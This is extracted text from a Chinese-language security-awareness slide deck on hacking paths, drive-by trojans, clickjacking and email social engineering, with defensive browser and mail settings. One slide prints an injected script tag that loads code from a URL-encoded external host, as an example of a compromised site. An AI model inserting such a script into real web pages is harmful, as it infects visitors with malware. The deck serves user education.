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駭客攻擊手法 

 將伺服器以及內部使用者電腦直接連接上網際
網路，駭客可以直接透過網際網路連接內部使
用作業系統電腦或者伺服器服務電腦進行入侵
行為，侵入電腦主機進而取得機密資料。 
 

 允許伺服器可以往內部網路連線，駭客可以透
過入侵伺服器主機當成跳板，來入侵內部網路
使用者的電腦主機 進而取得機密資料。 



傳統網路入侵手法 

Internet

駭客 

網站伺服器 資料庫 檔案伺候器 

DMZ 

使用者 

無防護使用者端 



目前網路架構 

 為了避免駭客入侵內部主機，現在的企業都會
使用防火牆或相關安全防護設備，來保護伺服
器及內部使用者電腦。 

 

 這些防護設備會阻擋駭客連線到內部主機的攻
擊行為，因此駭客無法直接攻擊使用者電腦。 



現今駭客入侵手法 

Internet

駭客 

網站伺服器 資料庫 檔案伺候器 

DMZ 

使用者 

防護設備 

防火牆 

防火牆 



平常上網動作(範例) 

駭客入侵之我愛網購篇 
◦社交網路 

駭客入侵之我愛交友篇 
◦ Face book  
◦Blog 
◦噗浪 

駭客入侵之我愛交友篇 
◦MSN 
◦SKYPE 
 

我愛網購.htm
我愛交友.htm
我愛聊天.htm
我愛聊天.htm


躲在正常網站後的惡網站 



中木馬- 天知 地知 就是我不知 

使用者點選網馬過程完全沒有感覺!!即受駭下載木馬 

使用者 

Internet

F/W 

資料庫 網站伺服器 檔案 

駭客 

Port:80 

瀏覽資訊、網拍 
登入帳號 

找尋漏洞、入侵 
掛馬 

 <script src= http://%77%76%67%33%2E%63%6E></script> 



使用者 
個資 

網站 
伺服器 

Botnet 
駭客 

Benny 

被植入後門程式側錄
密碼 

被當成散播木馬平台 殭屍主機!! 
(駭客分身術) 





 



搜尋網站
之關鍵字 

偽造之釣
魚網站 

詐騙者 
植入惡意程式或
竊取個人資料 

駭客反利用搜尋引擎 

正牌的網
站 



瀏覽網站有那麼容
易中毒嗎? 



User 

  

帳號密碼 

有心人事 

駭客最終目的 – 偷竊電腦內機密資料 



注意事項 

不要輕易按下同意與接受的按鈕 
 絕對不按 [同意] 或 [確定] 按鈕來關閉視窗， 務必使
用視窗角落的紅色 [X] 按鈕 

 



當我們宅在一起!! 



宅男的定義 

 「宅男」最初的定義即從御宅族的連用法而來。
「宅男」的原意就是男性御宅族，女性則稱「宅
女」。但是隨着人們使用，「宅」這個字的定義，
已經被人直接聯想到中文字「宅 = 家」的用法，
實際上此用法也沒有錯誤，因此現在大部份的人
使用宅男或宅女這個字眼，一般而言是指不善與
人相處，或是整天待在家生活圈只有自己，使用
上大多是為貶意。  



宅並不是封閉沒有人脈!! 

網路也可以有虛擬人脈!! 

 



社交網路 

(FaceBook) 
非死不可 





Facebook_ClickJacking 

(聲東擊西 ~~ 看馬非馬) 

Demo 



聲東擊西 似真非真的
ClickJacking連結(範例) 



FaceBook開心農場(偷別人的西瓜會中毒嗎) 





何謂社交工程(Social Engineering) 

 電子郵件社交工程： 
 藉由傳送電子郵件方式，騙取收件者信任，進而
開啟郵件內容的駭客攻擊模式。 

 
 透過電子郵件可以讓收件者 
 (1)誘騙進入假網站 
 (2)開啟惡意電子檔 
 (3)下載問題檔案 



電子郵件社交工程郵件? 

社交工程的攻擊行為 
 駭客透過最常使用的網路行為-收發電子郵件來
進行攻擊，使用的方法是發送電子郵件給握有
機密資料的使用者。 
 

 社交工程信件請收件人員確認附件檔案裡所提
到的問題，或在加入超連結網馬於郵件本身，
進而讓使用者開啟附件或超連結，以便植入啟
動木馬程式。 



社交工程攻擊模式 

主要利用電子郵件攻擊 

Internet 

駭客端 

駭客寄送含有惡意
文件的電子郵件給
欲攻擊之使用者 

使用者開啟惡意文
件，並遭植入後門 

使用者端 

建立通訊管道 



電子郵件的社交工程類型 

電子郵件社交工程的攻擊類型 

 
◦  假冒寄件者 

◦  使用讓人感興趣的主旨與內文 

◦  含有惡意程式的附件檔案 

◦  利用0_DAY攻擊 



電子郵件的社交工程類型 

 1. 信件攻擊手法 
◦ 退信攻擊 

◦ 跳板攻擊 

◦ 密碼猜解 

 2. 社交攻擊手法 
◦ 假冒攻擊 

◦ 附件攻擊 

◦ 郵件跟蹤 



駭客手法-退信攻擊 

 

 收件人不存在導致無法送達郵件，就會自動將該
退信訊息寄回給原寄件者 

 利用這項功能，使用字典攻擊所蒐集到的Email 

 將欲攻擊的對象設定為寄件者 

 收件者使用其他單位不存在的帳號 

 然後你就會收到一封不是自己寄出去的退信了 



中華電信 

網際網路 

信件-退信攻擊 

郵件伺服器 

使用者(小明) 

收件人不存在，退回寄件人 
但..寄件人是偽造的 

駭客 

沒有BENNY
這個人 收信者:BENNY 

假冒寄件者:小明 



駭客手法-跳板攻擊 

 當您的電腦主機本身有啟用SMTP Service (外寄
伺服器服務)，而且沒有加以防護時，被有心人士
發現，進而不當使用您的網路頻寬及寄信功能，濫
寄廣告信件，這就是您的電腦主機被當成廣告信跳
板了!!   

 通常受害者不知道自己的電腦安裝了相關服務 

 常見微軟的作業系統，當有安裝了IIS功能，就會
一同安裝SMTP(外寄伺服器服務)，此時若您的網
路系統並未安裝防火牆，將 SMTP PORT 25 設為
對外阻隔的話 ，基本上任何人都可以藉由您的 
SMTP Service 寄發信件!! 您的電腦主機，就有可
能被有心人士當成廣告信跳板，濫寄廣告信件!!   



網際網路 

信件-跳板攻擊 轉寄信件的功能沒有關閉 
可以….轉寄垃圾信 

駭客 



駭客手法-密碼猜解 

 要破解密碼絕非易事，被破解的人幾乎有個共同的特
性 

 就是密碼過於簡單!! 
 只要你是以下的其中一種，就要注意了!! 
 1.生日組合 (19820105) 
 2.英文單字 (Mickey) 
 3.數字組合 (12345) 
 4.英文組合 (abcabc) 
 5.常用英文 (iloveyou) 
 採用無意義的英數混合密碼!! (合併多位元) 
 如 u4k4id09io , 但通常取一取自己都記不起來 XD 



網際網路 

信件-密碼猜解 信箱密碼=1234 
用……猜的可以猜到 

駭客 



假冒寄件者 

駭客會假冒寄件者讓收信者信任的人，讓收
信者相信電子郵件的內容，進而去開啟這些
附件檔案或超連結，並植入開啟木馬程式。 



假冒寄件者方式 

顯示名稱假冒 

電子郵件帳號假冒 

完全假冒 



假冒寄件者方式－完全假冒 

由於電子郵件傳送協定弱點，駭客可完全
假冒寄件者的名稱以及電子郵件位址，甚
至可透過入侵寄件者的電腦來寄發電子郵
件。 

使用者 

受駭電腦 

駭客 

1.入侵受駭電腦 

2.透過受駭電腦發送惡意信件 

3.發送含有惡意程式電子郵件 

1.完全假冒的電子郵及寄件者名稱寄送惡意信件 4.讀取信任來源郵件 





假冒寄件者方式-假冒攻擊 

 SMTP 通信規範, 沒有辦法限制驗證寄件人的身
份. 雖然可以用身份驗證機制確保信是由特定人
員寄出(例如加上簽章), 但沒辦法防止別人偽造
你的 EMAIL 寄出信件. 頂多只能分辨出信是否
為假的...  
 

 寄件人名稱可以是假的 
 超連結的狀態列可以是假的 

 
 整封信件，都是假的!!!!!!!!! 







 打開好康郵件 
中郵件炸彈 



附件檔案夾帶木馬程式 



使用讓人感興趣的主旨與內文 

駭客會使用讓人感興趣的資料或訊息，來欺
騙使用者去開啟這些附件或超連結，植入木
馬程式。 



使用讓人感興趣的主旨與內文－範例 

駭客會使用收信者有興趣的八卦、熱門消息、
活動消息、情色等相關議題的主旨，來吸引
收信者開啟郵件，例如： 

 
◦ 消費卷優惠 

◦ 章子怡和男友在海灘休閒度假的照片 

◦ 肯德基優惠券隨你點 

◦ 殺很大瑤瑤寫真－搶先曝光版 



含有惡意程式附件 

駭客在電子郵件附加含有惡意程式的檔案，
這個檔案不一定是執行檔，可能是各種類型
的應用程式，甚至是FLASH檔案。 

駭客可夾帶任何存在作業系統中有弱點文件
檔案類型，並誘騙使用者開啟附件檔案，以
植入安裝木馬程式。例如： 
◦ 惡意程式的影片檔（*.wmv） 
◦ 惡意程式的Office文件（ *. doc） 
◦ 惡意程式的圖檔（ *. jpg） 
◦ 惡意程式的壓縮檔（ *. zip） 
◦ 惡意程式的PDF檔（ *. pdf） 

 
 





電子郵件社交工程案例-x當勞攻擊信件 



社交郵件案例-駭客也在求職網找工作 

下面電子郵件樣本是冒充jobs.com發送的信件： 

信件來源看似來自人力資源部門:hr@jobs.com 

信件標題是：「Thank you for your application」 

附件是：copy of your application.zip 



社交郵件案例-資通安全會報技服中心的通知 

 假冒信件訊息如下: 

 寄件者：service@icst.org.tw 

 主旨為「W32.Timeserv@mm 病毒通告」 

 附件有3 筆名稱分別為「安全防護.ppt」、「病毒原理.ppt」、 

「解決方案列表.xls」。 



假 CNN 新春快報：「令人震撼」的新
聞影片連結，會偷資料 



假 CNN 新春快報：「令人震撼」的新
聞影片連結，會偷資料 



假 CNN 新春快報：「令人震撼」的新
聞影片連結，會偷資料 



電子郵件社交工程案例-彩虹橋木馬 





電子郵件社交工程案例-彩虹橋木馬 

Link 

JC.htm
JC.htm




 萬一不小心中
毒之後，千萬
不要這麼做喔 







簡易檢測電腦手法  



電子郵件使用安全 

應有的認知 



 郵件中的遠端圖片下載（與ActiveX） 
 郵件中惡意程式附檔與連結 

社交工程電子郵件的陷阱 

遠端圖片下載 

惡意程式附檔 

惡意網頁連結 



您可能已經明白了 

不要點擊連結與隨意開啟這些附檔， 

但您可能還是疑惑 

為什麼開啟郵件也算違規？ 

開啟郵件… 
點擊郵件中的連結… 
開啟郵件中的附檔… 



似乎只要不開郵件附件和不點
擊連結，就不會中招… 
 
→但有些惡意程式是利用ActiveX功能來執行的 

 
→由於您的電子郵件可能是HTML格式，而HTML可以
撰寫ActiveX，所以您只要瀏覽電子郵件，就觸發
ActiveX執行！ 

為何要求不能「開啟郵件」？ 



Internet Explorer的安全設定 

 Internet Explorer的安全設定 
◦ 請使用最新的Internet Explorer 版本。 

  Internet Explorer 8.0  

◦ 使用Windows Update 功能安裝最新的 

 Internet Explorer 累積的安全性更新」。 
◦ 設定Internet Explorer 的安全性。 

  各區域的安全性至少要設定在「預設層級」以上。 



Internet Explorer的安全設定 



Internet Explorer的安全設定 



 瀏覽網際網路時？ 

 設定Internet Explorer 安全性地區  
 

 方法： 
 在 IE 中 
 工具\網際網路選項\安全性\預設層級 
 調整此區域的安全性到「中安全性」或「高安全性」 

 
 優：可避免一些不安全的程式碼執行。 

 
 缺：一位安全性設太高，可能會有例如圖片、廣告等影響一些網站

的正常瀏覽。(退而求其次改成中安全性) 





IE 設定 

 定期刪除 Cookies 

 定期刪除 暫存檔 

 定期清除 記錄 

 

 方法： 

 在 IE 中 

 工具\網際網路選項 

 
 







阻絕攻擊連結 

 設定垃圾郵件過濾機制 

 取消郵件預覽功能 

 以純文字模式開啟 

 Webmail環境設定 

◦讀信模式關閉預覽 

◦去除Javascript 

◦強制純文字轉換 

◦封鎖外部圖檔 



收信軟體安全性設定 

 以微軟的outlook express收信軟體為例，建議進
行以下安全性的設定： 
◦ 取消「郵件預覽」 

◦ 勾選「以純文字閱讀所有郵件」 

◦ 設定安全性區域為「受限制的網站區域」 

◦ 勾選「在其他應用程式試圖以我的名義傳送電子郵件時警
告我」 

◦ 勾選「阻擋HTML電子郵件中的圖片和其他外部內容」 



Webmail環境設制(1) 



Webmail環境設制(2) 



電子郵件社交工程案例-培林的E-mail 



電子郵件社交工程案例-培林的E-mail 



外部電子郵件信箱 



使用外部信箱安全建議 



使用外部信箱安全建議 



使用外部信箱安全檢測 

檢查轉寄功能是否被開啟 
或是轉寄到自己不認識電 
子郵件帳號 



使用外部信箱安全檢測(續) 



使用外部信箱安全檢測(續) 



正確的危機意識與資安觀念 

 

預防詐騙手法的攻擊 

提高警覺，加強危機意識 

不隨意開啟或下載郵件或軟體 

定期做系統更新與資料備份的工作 



防騙停看聽 

停 

安裝防毒軟體，確實更新病毒碼 

關閉信件自動下載圖片及其他內容 

以純文字模式開啟信件 

取消信件預覽功能 

設定過濾垃圾郵件機制 

看 
信件是否來自政府單位(gov.tw) 

標題或內容是否與本身業務相關 

其餘信件應視為圾垃郵件 

聽 
透過電話向對方確認信件真偽 

透過電子郵件再次確認 



傳送與接收電子郵件時 

 傳送郵件的考量  
◦ 請勿在私人信件傳送個人資訊 

◦ 公務用(xxx@mail.xyz.gov.tw) 與 個人E-Mail 
(xxx@ms1.hinet.net)信箱請分開使用(法律面 VS 防毒詐騙面) 

◦ 機密資料請使用加密或憑證選項 

 公司發放的憑證 

 內政部的自然人憑證 

◦ 寄件人請選擇用密件副本寄給收件人的信箱 

 接收郵件的考量  
◦ 關閉郵件預覽的功能 

◦ 謹慎開啟任何形式的附件(信任的人寄來的才可開) 

 留意郵件形式的病毒與網路釣魚手法 



重點項目 

請勿開啟任何陌生人所寄來的電
子郵件。 

就算是認識的人也請勿點選「超
連結」。 

開啟任何郵件的附件檔前，請記
得「另存新檔」掃毒後再開啟。 




